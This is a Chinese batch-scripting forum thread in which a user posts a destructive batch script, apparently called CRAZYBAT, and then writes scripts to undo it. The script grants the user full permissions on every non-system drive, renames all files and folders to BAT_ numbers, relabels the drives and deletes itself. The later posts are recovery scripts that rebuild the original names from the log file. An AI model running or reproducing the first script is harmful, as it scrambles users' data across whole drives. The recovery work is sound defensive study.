[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[系统相关] [已解决]如何利用批处理还原CRAZYBAT?

此批生成C:\windows\helpMe.ini
  1. setLocal enableDelayedExpansion
  2. ::::设置环境变量
  3. set "name1=1"
  4. set "name2=1"
  5. ::::搜索除C盘以外的25个盘符
  6. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  7. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  8. if exist %%i:\ (
  9.   ::::赋予指定用户访问权限同时容错继续
  10.   cacls %%i:\ /t /e /c /g %userName%:F
  11.   ::::处理当前目录及其之下是所有子目录中的文件
  12.   ::::以规定的规则重命名有后缀名的文件  
  13.   cd /d %%i:\
  14.   for /r  %%j in (*.*) do (
  15.    set "subName=%%~nj"
  16.    if not "!subName:~0,3!"=="BAT" (
  17.     echo %%~nxj;BAT_!name2!_!name1!>>C:\windows\helpMe.ini
  18.     ren "%%j" "BAT_!name2!_!name1!.BAT"
  19.     set /a "name1+=1"
  20.     if !name1!==9999 (
  21.      set "name1=1"
  22.      set /a "name2+=1"
  23.      )
  24.     )
  25.    )  
  26.   ::::处理当前目录下的第一级文件夹
  27.   ::::以规定的规则重命名无后缀名的文件夹
  28.   cd /d %%i:\
  29.   for /d /r %%k in (*) do (
  30.    set "subDir=%%k"
  31.    set "subDir=!subDir:%%~dk%%~pk=!"
  32.    if not "!subDir:~0,3!"=="BAT" (
  33.     set "newDir=%%k"
  34.     for /l %%m in (1,1,50) do (
  35.      if not "!newDir:~-1,1!"=="\" (
  36.      set "newDir=!newDir:~0,-1!"
  37.      )
  38.     )
  39.     set "realDir=%%k"
  40.     set "realDir=!realDir:%%~dk%%~pk=!"
  41.     echo !realDir!;BAT_!name2!_!name1!>>C:\windows\helpMe.ini
  42.     move "%%k" "!newDir!BAT_!name2!_!name1!"
  43.     set /a "name1+=1"
  44.     if !name1!==9999 (
  45.      set "name1=1"
  46.      set /a "name2+=1"
  47.      )
  48.     )
  49.    )
  50.   label %%i: BAT
  51.   )
  52. )
  53. del %0 /f /q
复制代码


[ 本帖最后由 a2035274 于 2010-8-20 16:01 编辑 ]
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

目前进度:从每个盘中提取了具体文件名并赋给了subName
我暂时只写了这个代码,但不知道那里错了请高手指点一下
  1. setLocal enableDelayedExpansion
  2. @cls
  3. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  4. ECHO :: 根据helpMe.ini中原有文件名自动还原文件的批处理 ::
  5. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  6. ::::清空环境变量
  7. Set subName=
  8. Set ChName=
  9. Set subDir=
  10. Set newDir=
  11. ::::从C:\windows取得helpMe.ini文件
  12. if not exist c:\windows\helpMe.ini goto wrong
  13. cd/d %temp%
  14. Xcopy C:\windows\helpMe.ini %temp% /e/y
  15. ::::搜索除C盘以外的25个盘符
  16. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  17. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  18. if exist %%i:\ (
  19.   ::::赋予指定用户访问权限同时容错继续
  20.   cacls %%i:\ /t /e /c /g %userName%:F
  21.   ::::获取现有机器中的单个文件名并保存到 (helpMe1.ini) 文件中
  22.   cd /d %%i:\
  23.   for /r  %%j in (*.*) do (
  24.    set "subName=%%~nj"
  25.    if "!subName:~0,3!"=="BAT" (
  26.     echo %%~nxj>helpMe1.ini
  27.     ::::从(helpMe1.ini)文件中取得文件名字符串,并赋给变量"subName"
  28.     for /f %%M in (helpMe1.ini) do set subName=%%M
  29.    
  30.     ::::以变量"subName"为关键字搜索(helpMe.ini)中相同的字符串行,并保存到(change1.ini)
  31.     find "%subName%" helpMe.ini >change1.ini
  32.     ::::找出文件原名(从"change.ini"中分离出原文件名字段,并赋给变量"ChName")
  33.     for /f "tokens=1 delims=;" %%N in (change1.ini) do set ChName=%%N
  34.     ::::用变量"%ChName%"去替换现有的文件名称
  35.     ECHO 现有文件名称: %subName%
  36.     ECHO 目标文件名称: %CName%
  37.        ren "%subName%.BAT" "%CName%"
  38.     )
  39.    )
  40.   ::::处理当前目录下的第一级文件夹
  41.   ::::获取现有机器中的单个文件名并保存到 (helpMe2.ini) 文件中
  42.   cd /d %%i:\
  43.   for /d /r %%k in (*) do (
  44.    set "subDir=%%k"
  45.    set "subDir=!subDir:%%~dk%%~pk=!"
  46.    if "!subDir:~0,3!"=="BAT" (
  47.     echo !subDir!>helpMe2.ini
  48.     ::::从(helpMe2.ini)文件中取得文件名字符串,并赋给变量"subDir"
  49.     for /f %%M in (helpMe2.ini) do set subDir=%%M
  50.    
  51.     ::::以变量"subDir"为关键字搜索(helpMe.ini)中相同的字符串行,并保存到(change2.ini)
  52.     find "%subDir%" helpMe.ini >change2.ini
  53.     ::::找出文件原名(从"change2.ini"中分离出原文夹名字段,并赋给变量"newDir")
  54.     for /f "tokens=1 delims=;" %%N in (change2.ini) do set newDir=%%N
  55.    
  56.     ::::用变量"%newDir%"去替换现有的文件名称
  57.     ECHO 现有文件名称: %subDir%
  58.     ECHO 目标文件名称: %newDir%
  59.     ren "%subDir%" "%newDir%"
  60.     )
  61.    )
  62.   )
  63. )
  64. :wrong
  65. echo 很抱歉,找不到c:\windows\helpMe.ini,无法给予帮助
  66. echo 请不要删除或移除重要文件
  67. pause>nul
  68. exit
复制代码

目前进度:当C:\windows\helpMe1.ini(从实际的文件中得到的文件名的特征如:at_1_1.)存在时可输出change1.ini(原文件名如:1.txt)
  1. cd/d C:\windows
  2. if exist help-Me.ini del help-Me.ini
  3. ::::改变helpMe.ini中名称排列顺序以便搜索特征字符串行
  4. for /f "eol=* tokens=1,2 delims=;" %%i in (C:\windows\helpMe.ini)do echo %%j.bat;%%i>>C:\windows\help-Me.ini
  5. ::::从(helpMe1.ini)文件中取得文件名特征字符串,并赋给变量"subName"
  6. for /f "tokens=1 delims=B" %%M in (C:\windows\helpMe1.ini) do set subName=%%M
  7. ::::以变量"subName"为关键字搜索(help-Me.ini)中相同的字符串行,并保存到(change1.ini)
  8. type C:\windows\help-Me.ini |find "%subName%">C:\windows\change1.ini
复制代码


[ 本帖最后由 a2035274 于 2010-8-13 11:56 编辑 ]
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

TOP

不知道什么用的实在大笨了

TOP

回复 3楼 的帖子

我是在实验第一个批的时候发现他的危害太大了,想自己研究出其专杀批或者说是恢复批
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

TOP

我最后改的,应该可以还原
  1. @echo off & setLocal enableDelayedExpansion
  2. @cls
  3. color 2e
  4. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  5. ECHO :: 根据helpMe.ini中原有文件名自动还原文件的批处理 ::
  6. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  7. ::::从C:\windows取得helpMe.ini文件
  8. if not exist c:\windows\helpMe.ini goto wrong
  9. ::::清空环境变量
  10. Set subName=
  11. Set ChName=
  12. Set subDir=
  13. Set newDir=
  14. ::::进入运行目录
  15. cd/d %WINDIR%
  16. ::::删除系统中可能存在干扰文件
  17. if exist C:\windows\help-Me.ini del C:\windows\help-Me.ini
  18. ::::更改帮助文件中文件名的排顺序输出到help-Me.ini中
  19. for /f "eol=* tokens=1,2 delims=;" %%i in (C:\windows\helpMe.ini)do echo %%j.bat;%%i>>C:\windows\help-Me.ini
  20. pause
  21. ::::搜索除C盘以外的25个盘符
  22. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  23. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  24. if exist %%i:\ (
  25.   ::::赋予指定用户访问权限同时容错继续
  26.   cacls %%i:\ /t /e /c /g %userName%:F
  27.   ::::处理当前目录下的第一级文件夹
  28.   ::::以规定的规则重命名无后缀名的文件夹
  29.   cd /d%%i:\
  30.   for /d /r %%k in (*) do (
  31.    set "subDir=%%k"
  32.    set "subDir=!subDir:%%~dk%%~pk=!"
  33.    if "!subDir:~0,3!"=="BAT" (
  34.     echo !subDir!>C:\windows\helpMe2.ini
  35.     ::::从(C:\windows\helpMe2.ini)文件中取得文件名特征字符串,并赋给变量"subDir"
  36.     for /f  %%O in (C:\windows\helpMe2.ini) do Set subDir=%%O
  37.     ::::以变量"subDir"为关键字搜索(C:\windows\help-Me.ini)中相同的字符串行,并保存到(C:\windows\change2.ini)
  38.     type C:\windows\help-Me.ini|find "!subDir!.">C:\windows\change2.ini
  39.     ::::找出文件原名(从"change2.ini"中分离出原文夹名字段,并赋给变量"newDir")
  40.     for /f "tokens=2 delims=;" %%P in (C:\windows\change2.ini) do (
  41.      Set newDir=%%P
  42.      ::::用变量"%newDir%"去替换现有的文件名称
  43.      ECHO 现有文件名称: !subDir!
  44.      ECHO 目标文件名称: !newDir!
  45.      ren "%%k" "%%P"
  46.      )
  47.     )
  48.    )
  49.   )
  50. )
  51. pause>nul
复制代码
还有单个的

  1. @echo off & setLocal enableDelayedExpansion
  2. @cls
  3. color 2e
  4. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  5. ECHO :: 根据helpMe.ini中原有文件名自动还原文件的批处理 ::
  6. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  7. ::::从C:\windows取得helpMe.ini文件
  8. if not exist c:\windows\helpMe.ini goto wrong
  9. ::::清空环境变量
  10. Set subName=
  11. Set ChName=
  12. Set subDir=
  13. Set newDir=
  14. ::::进入运行目录
  15. cd/d %WINDIR%
  16. ::::删除系统中可能存在干扰文件
  17. if exist C:\windows\help-Me.ini del C:\windows\help-Me.ini
  18. ::::更改帮助文件中文件名的排顺序输出到help-Me.ini中
  19. for /f "eol=* tokens=1,2 delims=;" %%i in (C:\windows\helpMe.ini)do echo %%j.bat;%%i>>C:\windows\help-Me.ini
  20. pause
  21. ::::搜索除C盘以外的25个盘符
  22. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  23. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  24. if exist %%i:\ (
  25.   ::::赋予指定用户访问权限同时容错继续
  26.   cacls %%i:\ /t /e /c /g %userName%:F
  27.   REM ::::获取现有机器中的单个文件名并保存到 (helpMe1.ini) 文件中
  28.   cd /d %%i:\
  29.   for /r  %%j in (*.*) do (
  30.    set "subName=%%~nj"
  31.    if "!subName:~0,3!"=="BAT" (
  32.     echo %%~nxj>C:\windows\helpMe1.ini
  33.     ::::从(C:\windows\helpMe1.ini)文件中取得文件名特征字符串,并赋给变量"subName"
  34.     for /f "tokens=1 delims=B" %%M in (C:\windows\helpMe1.ini) do Set subName=%%M
  35.     ::::以变量"subName"为关键字搜索(C:\windows\help-Me.ini)中相同的字符串行,并保存到(C:\windows\change1.ini)
  36.     type C:\windows\help-Me.ini|find "!subName!" >C:\windows\change1.ini
  37.     ::::找出文件原名(从"change1.ini"中分离出原文件名字段,并赋给变量"ChName")
  38.     for /f "tokens=2 delims=;" %%N in (C:\windows\change1.ini)do (
  39.      Set ChName=%%N
  40.      ::::用变量"%ChName%"去替换现有的文件名称
  41.      ECHO 现有文件名称: %%~nxj
  42.      ECHO 目标文件名称: !ChName!
  43.      ren "%%j" "%%N"
  44.      )
  45.     )
  46.    )
  47.   )
  48. )
  49. pause
  50. cd/d %WINDIR%
  51. if exist helpMe1.ini del helpMe1.ini
  52. if exist change1.ini del change1.ini
  53. if exist helpMe2.ini del helpMe2.ini
  54. if exist change2.ini del change2.ini
  55. pause
复制代码
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

TOP

返回列表